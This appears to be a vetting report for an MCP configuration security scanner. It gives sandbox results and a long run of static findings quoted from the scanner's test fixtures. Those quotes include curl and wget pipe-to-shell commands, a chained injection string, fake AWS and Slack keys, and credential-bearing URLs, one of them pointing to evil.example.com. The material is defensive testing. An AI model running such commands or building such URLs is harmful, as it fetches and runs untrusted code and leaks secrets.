mcp-config-audit@0.1.0
VERIFIED· not startedPublisher claims: "Local-first security scanner for MCP (Model Context Protocol) configurations. No account, no telemetry, no network calls." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
Code inventory arrives with this version's next honeypot run.- It will ask for
- unknown until the next run
- Where it talks to
- unknown until the next run
- What the honeypot saw
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Not enough was observed to say yet. Not started: dependency install failed; the server itself was not observed. This version's code has not been inventoried for credentials and hosts either; both arrive with its next honeypot run (popular servers first). `vet-skills try mcp-config-audit` runs it now and prints the full answer.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-07 and scored it 80/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
{"mcpServers": {"broken": "npx server", "ok": {"command": "npx"}}},Fix: Pin versions and sources; vendor anything fetched at install time."npx -y @modelcontextprotocol/server-filesystem /Users/demo"Fix: Pin versions and sources; vendor anything fetched at install time.("AKIAFAKEFIXTURE01234", "an AWS access key id"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.Splitting `https://user:password@host/?token=x` on its first `:` wouldFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert "/etc/mcp.json:12" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.assert "/etc/mcp.json:" not in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why."npx -y @example/mcp-remote --api-key=*** --verbose"Fix: Pin versions and sources; vendor anything fetched at install time.(f"https://user:{password}@host.example.com/?token=x",)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.url = f"https://demo:{FAKE_API_KEY}@mcp.example.com/mcp"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert "/etc/mcp.json" in outputFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.# password there (`the value of 'https://user:secret@host/?token'`), leakingFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."curl -sSL https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."curl https://example.com/i.sh|bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."curl -sSL https://example.com/install.sh | sh",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.url = f"http://admin:{secret_password}@mcp.example.com/sse?api_key={secret_token}"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.'curl -s https://example.com/a | sh; 'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.narrow scope: it holds `~/.ssh`, `~/.aws`, every `.env` file and every privateFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.f"https://demo:{FAKE_API_KEY}@mcp.example.com/sse?token={FAKE_GITHUB_TOKEN}"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."wget -qO- https://example.com/i.sh | sudo bash",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."http://203.0.113.10:8080/mcp",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.'curl -s https://example.com/a | sh; 'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."curl https://example.com/i.sh|bash",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.assert "http://admin:***@mcp.example.com/sse?api_key=***" in messageFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.("xoxb-1234567890-FAKEfixture", "a Slack token"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."curl -sSL https://example.com/x.js | node",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."http://203.0.113.10:8080/mcp",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.runs it (`curl … | sh`). The server is then whatever the remote host servesFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.server = self._remote(f"https://demo:{FAKE_API_KEY}@mcp.example.com/mcp")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."AKIAFAKEFIXTURE01234",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."autoUpdates": true,Fix: Pin versions and sources; vendor anything fetched at install time.remote one carries it in the command line (`npx mcp-remote http://…`), andFix: Pin versions and sources; vendor anything fetched at install time.`projects` block written *above* the top-level `mcpServers` crosses the twoFix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them."args": ["-c", "curl -sSL https://mcp.example.com/install.sh | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."a whole home directory — every SSH key, cloud credential, .env file "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert redacted[1] == "https://user:***@host.example.com/sse?api_key=***"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."args": ["mcp-remote", f"https://u:{password}@host.example.com/sse"],Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."directory holds your SSH keys, your browser profile, your `.env` files "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."args": ["-y", "@example/[email protected]", "https://mcp.example.com/api"]Fix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them."plain": {"url": f"http://u:{password}@evil.example.com/mcp?api_key={token}"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.and fix — and only the secret is replaced: `npx server --api-key=***`,Fix: Pin versions and sources; vendor anything fetched at install time.f"https://user:{password}@host.example.com/sse?api_key={FAKE_API_KEY}",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.runs it (`curl … | sh`). The server is then whatever the remote host servesFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."args": ["-c", "curl -sSL https://mcp.example.com/install.sh | sh"]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."xoxb-1234567890-FAKEfixture",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
No advisories in OSV for mcp-config-audit@0.1.0 as of 3 h ago. This is the package itself, not its dependencies.